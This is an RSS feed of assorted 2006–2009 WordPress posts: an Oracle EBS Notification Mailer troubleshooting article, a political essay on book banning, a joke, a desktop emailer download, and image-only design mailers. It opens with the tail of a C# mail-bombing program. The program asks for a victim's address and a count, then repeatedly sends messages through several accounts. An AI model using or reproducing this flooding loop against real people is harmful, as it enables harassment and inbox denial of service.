int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i &#60; cantidad; i++)
{
mail.EnviarCorreo3(m, asunto, mensaje);
Console.WriteLine(&#34;Vas en el mail [&#34; + i + &#34;]&#34;);
}
Console.WriteLine(&#34;El Correo Ha sido enviado correctamente &#34; + i + &#34; veces&#34;);
}
catch (Exception errorrr)
{
Console.WriteLine(&#34;Error intente nuevamente &#34; + errorrr);
}
break;
case 6:
try
{
Console.WriteLine(&#34;Ingrese mail de la victima&#34;);
string m = Console.ReadLine();
Console.WriteLine(&#34;Ingrese asunto&#34;);
string asunto = Console.ReadLine();
Console.WriteLine(&#34;Escriba el mensaje&#34;);
string mensaje = Console.ReadLine();
Console.WriteLine(&#34;Ingrese la cantidad&#34;);
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i &#60; cantidad; i++)
{
mail.EnviarCorreo4(m, asunto, mensaje);
Console.WriteLine(&#34;Vas en el mail [&#34; + i + &#34;]&#34;);
}
Console.WriteLine(&#34;El Correo Ha sido enviado correctamente &#34; + i + &#34; veces&#34;);
}
catch (Exception errorrr)
{
Console.WriteLine(&#34;Error intente nuevamente &#34; + errorrr);
}
break;
case 7:
try
{
Console.WriteLine(&#34;Ingrese mail de la victima&#34;);
string m = Console.ReadLine();
Console.WriteLine(&#34;Ingrese asunto&#34;);
string asunto = Console.ReadLine();
Console.WriteLine(&#34;Escriba el mensaje&#34;);
string mensaje = Console.ReadLine();
Console.WriteLine(&#34;Ingrese la cantidad&#34;);
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i &#60; cantidad; i++)
{
mail.EnviarCorreo5(m, asunto, mensaje);
Console.WriteLine(&#34;Vas en el mail [&#34; + i + &#34;]&#34;);
}
Console.WriteLine(&#34;El Correo Ha sido enviado correctamente &#34; + i + &#34; veces&#34;);
}
catch (Exception errorrr)
{
Console.WriteLine(&#34;Error intente nuevamente &#34; + errorrr);
}
break;
case 8:
try
{
Console.WriteLine(&#34;Ingrese mail de la victima&#34;);
string m = Console.ReadLine();
Console.WriteLine(&#34;Ingrese asunto&#34;);
string asunto = Console.ReadLine();
Console.WriteLine(&#34;Escriba el mensaje&#34;);
string mensaje = Console.ReadLine();
Console.WriteLine(&#34;Ingrese la cantidad&#34;);
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i &#60; cantidad; i++)
{
mail.EnviarCorreo6(m, asunto, mensaje);
Console.WriteLine(&#34;Vas en el mail [&#34; + i + &#34;]&#34;);
}
Console.WriteLine(&#34;El Correo Ha sido enviado correctamente &#34; + i + &#34; veces&#34;);
}
catch (Exception errorrr)
{
Console.WriteLine(&#34;Error intente nuevamente &#34; + errorrr);
}
break;
case 9:
try
{
Console.WriteLine(&#34;Ingrese mail de la victima&#34;);
string m = Console.ReadLine();
Console.WriteLine(&#34;Ingrese asunto&#34;);
string asunto = Console.ReadLine();
Console.WriteLine(&#34;Escriba el mensaje&#34;);
string mensaje = Console.ReadLine();
Console.WriteLine(&#34;Ingrese la cantidad&#34;);
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i &#60; cantidad; i++)
{
mail.EnviarCorreo7(m, asunto, mensaje);
Console.WriteLine(&#34;Vas en el mail [&#34; + i + &#34;]&#34;);
}
Console.WriteLine(&#34;El Correo Ha sido enviado correctamente &#34; + i + &#34; veces&#34;);
}
catch (Exception errorrr)
{
Console.WriteLine(&#34;Error intente nuevamente &#34; + errorrr);
}
break;
case 10:
try
{
Console.WriteLine(&#34;Ingrese mail de la victima&#34;);
string m = Console.ReadLine();
Console.WriteLine(&#34;Ingrese asunto&#34;);
string asunto = Console.ReadLine();
Console.WriteLine(&#34;Escriba el mensaje&#34;);
string mensaje = Console.ReadLine();
Console.WriteLine(&#34;Ingrese la cantidad&#34;);
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i &#60; cantidad; i++)
{
mail.EnviarCorreo8(m, asunto, mensaje);
Console.WriteLine(&#34;Vas en el mail [&#34; + i + &#34;]&#34;);
}
Console.WriteLine(&#34;El Correo Ha sido enviado correctamente &#34; + i + &#34; veces&#34;);
}
catch (Exception errorrr)
{
Console.WriteLine(&#34;Error intente nuevamente &#34; + errorrr);
}
break;

}

} while (opcion != 11);
}

}
}
</pre>
<p>Escrito Por: <a href="http://pablovidela.wordpress.com/"><strong>Pablo Videla</strong></a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Quick Personal Emailer]]></title>
<link>http://sarfraznawaz.wordpress.com/2009/09/10/quick-personal-emailer/</link>
<pubDate>Thu, 10 Sep 2009 11:08:57 +0000</pubDate>
<dc:creator>Sarfraz Ahmed</dc:creator>
<guid>http://sarfraznawaz.wordpress.com/2009/09/10/quick-personal-emailer/</guid>
<description><![CDATA[Today I am going to share with you a very interesting program, the Personal Emailer. In fact, the Pe]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="alignleft size-full wp-image-192" title="personal_emailer" src="http://sarfraznawaz.wordpress.com/files/2009/09/personal_emailer.png" alt="personal_emailer" width="200" height="233" />Today I am going to share with you a very interesting program, the <strong>Personal Emailer</strong>. In fact, the Personal Emailer was my first project on the <strong>.NET platform</strong>. Personal Emailer let&#8217;s you send emails using google account credentials. You can add attachments as well. The most apparent advantage of this program is that it is fast and easily available on the desktop. It can be useful to those who are not allowed to open any emailing websites too.</p>
<p>Once you download it, run the program, click the <strong>Settings</strong> button and in the SMTP server address type <strong><em>smtp.gmail.com</em></strong> and port should be set to<strong><em> 587. </em></strong>Finally enter your google account username and password.<strong><em></em></strong></p>
<p><em><strong>Note</strong> that you should have .Net framework installed.<strong> Enjoy <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </strong></em></p>
<p>Download the <a class="wp-caption" href="http://www.box.net/shared/brx9kmhoo4" target="_blank">Personal Emailer</a>.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Just for Laughs]]></title>
<link>http://aparnata.wordpress.com/2009/09/09/just-for-laughs/</link>
<pubDate>Wed, 09 Sep 2009 15:39:43 +0000</pubDate>
<dc:creator>Aparna</dc:creator>
<guid>http://aparnata.wordpress.com/2009/09/09/just-for-laughs/</guid>
<description><![CDATA[Bill Gates organized an enormous session to recruit a new Chairman for Microsoft Europe. 5000 candid]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Bill Gates organized an enormous session to recruit a new Chairman for Microsoft Europe. 5000 candidates assembled in a large room. One candidate is our ramasamy.</p>
<p>Bill Gates: Thank you for coming. Those who do not know JAVA may leave.</p>
<p>2000 people leave the room.</p>
<p>Ramasamy says to himself, &#8216;I do not know JAVA, but I have nothing to lose if I stay. I&#8217;ll give it a try !&#8217;</p>
<p>Bill Gates: Candidates who never had experience of managing more than 100 people may leave.</p>
<p>2000 people leave the room.</p>
<p>Ramasamy says to himself &#8216;I never managed anybody by myself, but I have nothing to lose if I stay. What can happen to me ?&#8217; So he stays.</p>
<p>Bill Gates: Candidates who do not have management diplomas may leave.</p>
<p>500 people leave the room.</p>
<p>Ramasamy says to himself, &#8216;I left school at 15, but what have I got to lose ?&#8217; So he stays in the room.</p>
<p>Lastly, Bill Gates asked the candidates who do not speak Serbo-Croat to leave.</p>
<p>498 people leave the room.</p>
<p>Ramasamy says to himself, &#8216;I do not speak one word of Serbo-Croat but what do I have to lose ?&#8217; So he stays<br />
and finds himself with one other candidate; Everyone else has gone.</p>
<p>Bill Gates joined them and said &#8216;Apparently you are the only two candidates who speak Serbo-Croat, so I&#8217;d now like to<br />
hear you have a conversation together in that language.&#8217;</p>
<p>Calmly, ramasamy turns to the other candidate and says &#8216; Endha ooru ? &#8216;</p>
<p>The other candidate answers, &#8216; Thoothukudi pakkam !!!!! &#8216;</p>
<p>Tamilians rock! <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Three Cheers,</p>
<p>Aparna</p>
<p>Bottoms Up!</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Notification Mailer troubleshooting (Part 1)]]></title>
<link>http://appsdbalife.wordpress.com/2009/09/02/notification-mailer-troubleshooting-part-i/</link>
<pubDate>Tue, 01 Sep 2009 22:32:17 +0000</pubDate>
<dc:creator>Yury Velikanov</dc:creator>
<guid>http://appsdbalife.wordpress.com/2009/09/02/notification-mailer-troubleshooting-part-i/</guid>
<description><![CDATA[Introduction This is the first article in series of articles dedicated to a &#8220;Notification Mail]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><h3>Introduction</h3>
<p>This is the first article in series of articles dedicated to a &#8220;Notification Mailer&#8221; or in other words to an email sending functionality in EBS. We will talk about what steps involved in the email sending process and what tools and methods Apps DBAs have to troubleshoot each of these steps. From my 8 years (since 2001) experience working with EBS as Apps DBA it looks like &#8220;Notification Mailer&#8221; is one of the grey areas for Apps DBAs which aren’t described well enough and on the other hand we are asked to troubleshoot it on regular basis. As it is my very first personal article I would appreciate any feedback from your side. Please do not hesitate to leave comments, proposals or recommendations at the bottom of the page or dropping an email to me.<!--more--></p>
<p>Some difficulties in troubleshooting &#8220;Notification Mailer&#8221; may be due to the fact that the email sending process in EBS isn’t transparent and intuitive. It involves several steps from different EBS areas and utilizes multiple Oracle technology components like:</p>
<ul>
<li>Workflow Notification module</li>
<li>Generic Service Management Framework (GSM)</li>
<li>Business Event System (Subscriptions, Deferred processing)</li>
<li>Workflow Directory and users setup</li>
<li>Vacation rules or routing rules</li>
<li>Oracle Advance Queues</li>
</ul>
<p>As you see the list includes some important components from the Applications Technology (ATG) modules. The Mailer example gives us an excellent opportunity to describe these areas and give some useful hints to Apps DBA for further troubleshooting. Obviously it is impossible to cover all these areas in one article. Hopefully with all your support in this series of articles I will describe the email sending process in details.</p>
<h3>Overview of EBS email sending process</h3>
<p>Let’s take a look on the overall email sending process and the main steps involved:</p>
<div id="attachment_222" class="wp-caption aligncenter" style="width: 730px"><img class="size-full wp-image-222" title="Mailer Flow" src="http://appsdbalife.wordpress.com/files/2009/09/mailer-flow-02.jpg" alt="Mailer Flow" width="720" height="440" /><p class="wp-caption-text">Mailer Flow</p></div>
<p>There are three main processes (in blue) and three data stores involved. The data stores include 2 Advanced Queues (in red) and 1 table (green). At this point I would like to mention that AQ are not traditional relational tables. An additional care should be taken while accessing these tables (we will talk about this later). The email sending process consists of the following main steps:</p>
<p>1. <strong><em>EBS user sends email</em></strong> – To send an email EBS modules use standard API. Email API is implemented in PL/SQL package WF_NOTIFICATION (I will cover it in the next article).</p>
<p>1.1. <em>Provides application data</em> – First of all user’s session inserts business data (recipient, message type, message text etc.) into WF_NOTIFICATIONS table (do not mix up with PL/SQL package mentioned above);</p>
<p>1.2. <em>Defers processing Generates event</em> – a user or process leaves EBS to run further email processing steps. It is done using a Business Events System (BES). Session raises an event &#8220;oracle.apps.wf.notification.send&#8221; via the WF_EVENT PL/SQL package (BES processing to be covered in the next articles). Each deferred event is put in one of the two Advanced Queues WF_DEFERRED or WF_JAVA_DEFERRED for further processing. All email sending events go through the WF_DEFERRED queue.</p>
<p>2. <strong><em>Deferred Agent Listener</em></strong> – is a process responsible for ALL BES events processing. It executes all deferred events calling subscriptions’ functions defined for each business event. There are several more things to explain about Agent Listeners and subscription processing (e.g. there are several differed agents, subscriptions groups etc.) This is one more subject for further articles.</p>
<p>2.1. Reads event and starts subscriptions processing – Strictly speaking there is no any enabled subscription for the &#8220;oracle.apps.wf.notification.send&#8221; event (submitted during the first step). This event is a part of &#8220;oracle.apps.wf.notification.send.group&#8221; event group. The Deferred Agent executes subscriptions for that group rather than for the stand alone event. At this stage the Agent knows that it should process the notification with given notification id (it is a part of the event data passed via the event).</p>
<p>2.2. Reads application data – in order to generate the email/notification the Agent reads business data from the <em>WF_NOTIFICATIONS</em> table and a few related tables and during the next step builds up the email’s text in XML format.</p>
<p>2.3. Generates data for outbound interface – This is the last step executed by the Deferred Agent Listener. It generates XML representation of email to be sent and together with other important bits of information posts it to the Notification Mailer outbound queue <em>WF_NOTIFICATION_OUT</em>.</p>
<p>3. <strong><em>Notification Mailer</em></strong> – As you see it was a long journey even before we started to talk about the Notification Mailer. There are a lot of things which may go wrong and this is why it is important to know the whole flow of the events to troubleshoot the mail sending functionality in EBS. We’ve come to the last processing step before the message leaves EBS boundaries.</p>
<p>3.1. Reads message – the Notification Mailer dequeues messages from <em>WF_NOTIFICATION_OUT </em>queue on regular basis. In fact this is the only place where it looks for the new messages to be sent. This means if a notification doesn’t has a corresponding event ready for dequeuing in the <em>WF_NOTIFICATION_OUT</em> queue it will never be send. As soon as a new message arrives Notification Mailer dequeues it and gets prepared for sending;</p>
<p>3.2. Sends email via SMTP – This is the step when the message leaves EBS. The Notification Mailer sends the email using text retrieved from the advanced queue during previous step;</p>
<p>3.3. Updates status – as the last step in the notification sending process the Notification Mailer updates a MAIL_STATUS column in WF_NOTIFICATION table.</p>
<p>This article gives us rather good basis for further discussion of how to troubleshoot the notifications/emails sending process in Oracle e-Business Suite. Now we are aware of the complete email sending flow and ready for the detailed discussion on how to troubleshoot it. Just to wrap up this very first article I would like to mention that the notification sending process didn’t change a lot since the moment when a Java based Notification Mailer has been introduced (~11.5.7 if I recall correctly) and it is still there in R12.1.1 version. That means that everything we discussed and will discuss is applicable to all current EBS versions.</p>
<p>Just to remind you &#8211; your feedback is important for me and it will assist to put efforts into the right direction in further contribution to the Apps DBA community.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Book-Banning Nation]]></title>
<link>http://serialbus.wordpress.com/2009/08/22/a-book-banning-nation/</link>
<pubDate>Sun, 23 Aug 2009 02:36:47 +0000</pubDate>
<dc:creator>serialbus</dc:creator>
<guid>http://serialbus.wordpress.com/2009/08/22/a-book-banning-nation/</guid>
<description><![CDATA[I can imagine a lot of things that could really harm us &#8211; like nuclear bombs, cigarettes and s]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I can imagine a lot of things that could really harm us &#8211; like nuclear bombs, cigarettes and speeding vehicles. But books? I have never known a book that exploded as soon as you read the preface. I feel sorry for the gentlemanly Jaswant Singh who has been thrown under the bus by his colleagues for publishing a book (<em><a href="http://en.wikipedia.org/wiki/Jinnah:_India-Partition-Independence">Jinnah &#8211; India, Partition, Independence</a></em>) that does not demonize Jinnah. I feel sorrier that a society could be so intolerant of books. Books?!!</p>
<p><!--more--></p>
<p>Democracies are uniquely defined by an unwavering commitment to freedom of expression. Of course, individual liberty is the other side of the same coin. One person&#8217;s freedom of expression should not encroach upon another&#8217;s liberty in a personally derogatory or untruthful manner. Within those bounds, any form of expression is defensible. Then again, written word is the most placid form of expression. Here is a book, a journal or a newspaper &#8211; read it or avert your eyes &#8211; it is a clear choice that every person can make for oneself. If you are prone to provocation, do not read it &#8211; if you are good at separating chaff from grain, read it and decide whether to denounce it or uphold it. But, for God&#8217;s sake, do not ask the government to ban it just because it is rumored to shatter your long-held beliefs. A book-banning nation is worse than a book-burning nation; the latter at least allows the people the choice between burning them and reading them.</p>
<p>Let us consider the popular arguments expressed for banning books. A book banning enthusiast will point out how a non-fiction book is full of baseless claims and lies; if it&#8217;s fiction, it could be denounced as heretical and provocative. In reality, people call for books to be banned to gain political mileage or to feed their insecurities. The more serious argument is whether there is some merit in evoking negative experiences and if such disclosures / plots could conceivably benefit mankind. How would Mailer&#8217;s The Naked and The Dead give any hope if violence is frowned upon universally and how would Nabokov&#8217;s Lolita help anyone if pedophilia is abhorred across the world. For books based on actual events, I think there is a clear case for publication, however heinous the story is. Mankind owes a debt to every person who has been in the line of fire to hear him / her out &#8211; it could be child abuse, violence, racism, corruption &#8211; it deserves a hearing, period! There is also a documentary benefit &#8211; as what happened in the past serves as a beacon to the future. If this argument holds, it can actually be extended to fiction also, as a novelist inevitably draws inspiration from various life experiences too. Also, fiction sometimes helps us visualize what we do not want to see happening and spurs us into action. Orwell&#8217;s 1984 and Rand&#8217;s Anthem are examples of books that certain governments may have labeled as &#8216;far-fetched&#8217; but they alerted many of the risks of communism by painting a ludicrously extreme possibility. A nation that believes in banning books is hurtling towards the Orwellian 1984-like world and is too obstinate to admit it. That said, people still have a right to oppose a book but they ought to voice their dissent peacefully instead of declaring war against the inanimate thing.</p>
<p>In any case, the government should act as a dispassionate referee and uphold the spirit of the fundamental rights granted by Constitution (or amend a Constitution where such a right is not provided). Sadly, governments are sometimes weak defenders of the ideals they espouse (e.g. banning of Satanic Verses in India). In other cases, governments are themselves conspirators because a critique of powers-that-be must not go unpunished. A good example is the British government&#8217;s decision to ban Paine&#8217;s Common Sense as it struck at the very root of imperialism. However, the very act of banning something makes it more fascinating. Courtiers of King George III could be forgiven for not understanding how their counsel to ban Common Sense could have actually accelerated the ouster of British from America.</p>
<p>Long back, I remember being appalled when I first noticed that the world depicts India&#8217;s map without the bigger western and smaller eastern flanks of the state of Jammu and Kashmir, India&#8217;s northern-most state. Since childhood, I had been fed government propaganda on how the entire J&#38;K was an &#8216;akhand&#8217; (indivisible) part of India. While India may have had a sanguine claim on the territory, it definitely was not &#8216;indivisible&#8217; &#8211; the two pieces of land have been, in fact, under Pakistani and Chinese control for a long while. I wish NCERT did not attempt to indoctrinate children in a make-believe world of India&#8217;s righteousness and the villainy of our neighbors. Even now, once every while, the GoI expresses displeasure when any foreign agency depicts India&#8217;s boundaries differently that the Surveyor General of India.</p>
<p>The same theme permeates the Indian attitude towards Mohammad Ali Jinnah. Our school textbooks and government propaganda glorify the role of Gandhi and Nehru in achieving India&#8217;s independence, while painting Jinnah as a smug communal partition-mongering villain. Congress&#8217;s strategic errors in sidelining Jinnah are conveniently forgotten. A brilliant exposition of the true history of India&#8217;s partition is captured in the book &#8216;Liberty or Death&#8217; by Patrick French &#8211; again, Congress party activists chose to burn copies of the book as it brought out several niceties of Jinnah from under the carpet and several foibles of Gandhi-Nehru duo from inside the closet. None of the reactionaries perhaps bothered to notice that all claims in the book were thoroughly researched and indexed.</p>
<p>Jaswant Singh has probably committed the same scholarly crime of backing up his theories with solid evidence. But, he also happens to be a senior member of the BJP, a party that has, of late, been rudderless and directionless. As the party moved from being right-wing to centrist in its approach towards the end of nineties, the strategy paid dividends and it formed a government at the centre. However, owing to two resounding defeats in the Lok Sabha elections in 2004 and 2009, there are hawks in the party that want to reclaim the <a href="http://en.wikipedia.org/wiki/Hindutva">hindutva</a> / nationalist agenda to rally the party&#8217;s base. In such an environment, the party sacrificed Jaswant Singh at the altar of its ambitions. The sad thing for BJP is that people are beginning to see beyond the veneer. People will notice that if they are placing realpolitik over truth, they could as well place the <a href="http://en.wikipedia.org/wiki/Ram_Janmabhoomi">Ram Mandir</a> above communal harmony. At the end, for all the brouhaha, more people will have read the book (a Pakistani colleague ordered the book online yesterday as his interest was piqued by  the commotion), although the purported objective of the book-banners was to keep the masses safe from its &#8216;dangerous&#8217; content.</p>
<p>As for banning it, so far the central government has not complied with demands of censorship by the BJP activists, so their only resort is to light a bonfire of the book&#8217;s copies to express their chagrin. That, ironically, will only help boost sales of the book as for every copy they burn, ten more would be bought and read by curious onlookers. I would also expect the book-burners to buy the copies they intend to burn. Only if they could spare some time read it before committing it to the flames!</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Webdunia Mailer II]]></title>
<link>http://thedesignwings.wordpress.com/2009/08/22/webdunia-mailer-ii/</link>
<pubDate>Sat, 22 Aug 2009 13:53:40 +0000</pubDate>
<dc:creator>thedesignwings</dc:creator>
<guid>http://thedesignwings.wordpress.com/2009/08/22/webdunia-mailer-ii/</guid>
<description><![CDATA[]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><a href="http://i294.photobucket.com/albums/mm102/captonjohn/ND-mailer.gif"><img class="aligncenter size-full wp-image-375" title="ND-mailer" src="http://thedesignwings.wordpress.com/files/2009/08/nd-mailer.gif" alt="ND-mailer" width="550" height="558" /></a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Naidunia mailer 1]]></title>
<link>http://thedesignwings.wordpress.com/2009/08/22/naidunia-mailer-1/</link>
<pubDate>Sat, 22 Aug 2009 13:51:09 +0000</pubDate>
<dc:creator>thedesignwings</dc:creator>
<guid>http://thedesignwings.wordpress.com/2009/08/22/naidunia-mailer-1/</guid>
<description><![CDATA[]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><a href="http://i294.photobucket.com/albums/mm102/captonjohn/Navdunia-Mailer.gif"><img class="aligncenter size-full wp-image-372" title="Navdunia-Mailer" src="http://thedesignwings.wordpress.com/files/2009/08/navdunia-mailer.gif" alt="Navdunia-Mailer" width="500" height="516" /></a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Office Chair]]></title>
<link>http://thedesignwings.wordpress.com/2009/08/22/office-chair/</link>
<pubDate>Sat, 22 Aug 2009 08:42:47 +0000</pubDate>
<dc:creator>thedesignwings</dc:creator>
<guid>http://thedesignwings.wordpress.com/2009/08/22/office-chair/</guid>
<description><![CDATA[]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="aligncenter size-full wp-image-351" title="1" src="http://thedesignwings.wordpress.com/files/2009/08/1.jpg" alt="1" width="604" height="483" /><img class="aligncenter size-full wp-image-352" title="2" src="http://thedesignwings.wordpress.com/files/2009/08/2.jpg" alt="2" width="604" height="483" /></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Yoga Mailer]]></title>
<link>http://thedesignwings.wordpress.com/2009/08/22/yoga-mailer/</link>
<pubDate>Sat, 22 Aug 2009 08:33:45 +0000</pubDate>
<dc:creator>thedesignwings</dc:creator>
<guid>http://thedesignwings.wordpress.com/2009/08/22/yoga-mailer/</guid>
<description><![CDATA[]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="aligncenter size-full wp-image-348" title="yoga-mailer old" src="http://thedesignwings.wordpress.com/files/2009/08/yoga-mailer-old.jpg" alt="yoga-mailer old" width="604" height="784" /></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Yahoo answer]]></title>
<link>http://thedesignwings.wordpress.com/2009/08/22/yahoo-answer/</link>
<pubDate>Sat, 22 Aug 2009 08:30:54 +0000</pubDate>
<dc:creator>thedesignwings</dc:creator>
<guid>http://thedesignwings.wordpress.com/2009/08/22/yahoo-answer/</guid>
<description><![CDATA[]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="aligncenter size-full wp-image-345" title="Yahoo-answer" src="http://thedesignwings.wordpress.com/files/2009/08/yahoo-answer.jpg" alt="Yahoo-answer" width="604" height="781" /></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Shivratri]]></title>
<link>http://thedesignwings.wordpress.com/2009/08/22/shivratri/</link>
<pubDate>Sat, 22 Aug 2009 08:26:46 +0000</pubDate>
<dc:creator>thedesignwings</dc:creator>
<guid>http://thedesignwings.wordpress.com/2009/08/22/shivratri/</guid>
<description><![CDATA[]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="aligncenter size-full wp-image-342" title="Shivratri-1" src="http://thedesignwings.wordpress.com/files/2009/08/shivratri-1.jpg" alt="Shivratri-1" width="604" height="781" /></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Webduina Quest Mailer]]></title>
<link>http://thedesignwings.wordpress.com/2009/08/22/webduina-quest-mailer/</link>
<pubDate>Sat, 22 Aug 2009 08:21:32 +0000</pubDate>
<dc:creator>thedesignwings</dc:creator>
<guid>http://thedesignwings.wordpress.com/2009/08/22/webduina-quest-mailer/</guid>
<description><![CDATA[]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p style="text-align:center;"><a href="http://i294.photobucket.com/albums/mm102/captonjohn/Quest-Mailer.gif"><img class="aligncenter size-full wp-image-338" title="Quest-Mailer" src="http://thedesignwings.wordpress.com/files/2009/08/quest-mailer.gif" alt="Quest-Mailer" width="600" height="458" /></a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Budget Mailer II]]></title>
<link>http://thedesignwings.wordpress.com/2009/08/22/budget-mailer-ii/</link>
<pubDate>Sat, 22 Aug 2009 08:17:00 +0000</pubDate>
<dc:creator>thedesignwings</dc:creator>
<guid>http://thedesignwings.wordpress.com/2009/08/22/budget-mailer-ii/</guid>
<description><![CDATA[]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p style="text-align:center;"><a href="http://i294.photobucket.com/albums/mm102/captonjohn/Budget.gif"><img class="aligncenter size-full wp-image-335" title="Budget" src="http://thedesignwings.wordpress.com/files/2009/08/budget.gif" alt="Budget" width="550" height="803" /></a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bloom Design &amp; Landscape Identity]]></title>
<link>http://pwpmedia.wordpress.com/2006/08/15/bloom-design-landscape-2005/</link>
<pubDate>Wed, 16 Aug 2006 06:39:36 +0000</pubDate>
<dc:creator>pwpmedia</dc:creator>
<guid>http://pwpmedia.wordpress.com/2006/08/15/bloom-design-landscape-2005/</guid>
<description><![CDATA[corporate identity, branding, mailers, banner]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><div style="text-align:left;padding:3px;"><a title="photo sharing" href="http://www.flickr.com/photos/pwpmedia/3847101881/"><img style="border:solid 2px #000000;" src="http://farm3.static.flickr.com/2624/3847101881_de2c2a47a1.jpg" alt="" /></a><span style="font-size:x-small;">corporate identity, branding, mailers, banner</span></div>
</div>]]></content:encoded>
</item>

</channel>
</rss>
